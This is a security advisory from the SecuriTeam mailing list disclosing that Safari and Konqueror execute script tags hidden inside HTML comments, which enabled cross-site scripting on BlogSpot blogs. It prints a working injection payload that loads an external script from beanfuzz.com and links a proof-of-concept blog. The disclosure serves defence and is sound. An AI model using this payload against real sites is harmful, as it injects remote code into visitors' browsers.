The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Browsers Improperly Parses HTML Documents and BlogSpot XSS Vulnerability
------------------------------------------------------------------------
SUMMARY
Safari and Konqueror on occasions may improperly parse the source of an
HTML document, which can lead to the execution of HTML tags within
comments. This can become dangerous when input filters allow HTML tags
within comments, as they will get parsed and executed under certain
circumstances.
DETAILS
Vulnerable Systems:
* Apple's Safari
* Konqueror version 3.5.5
In some cases you can cause Apple's Safari as well as Konqueror browsers
to execute code when it should not be executed. In the following example
everything within the comment, in theory should never be executed;
however, these two browsers decided to execute the script tag.
<title>myblog<!--</title></head><body><script src=http://beanfuzz.com/
bean.js> --></title>
Blogs hosted on BlogSpot.com have filter mechanisms for their input;
however, they will allow you to inject anything within comments. This made
it possible to cross site script blogspot.com. Note: Only Safari and
Konqueror viewers will be affected.
Proof of concept: <http://dirtybean1234.blogspot.com/>
http://dirtybean1234.blogspot.com/
Initial release of vulnerability:
<http://www.beanfuzz.com/wordpress/?p=99>
http://www.beanfuzz.com/wordpress/?p=99
ADDITIONAL INFORMATION
The information has been provided by <mailto:jose@onzra.com> Jose Avila
III and <mailto:robert.tasarz@greentech.pl> Robert Tasarz.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
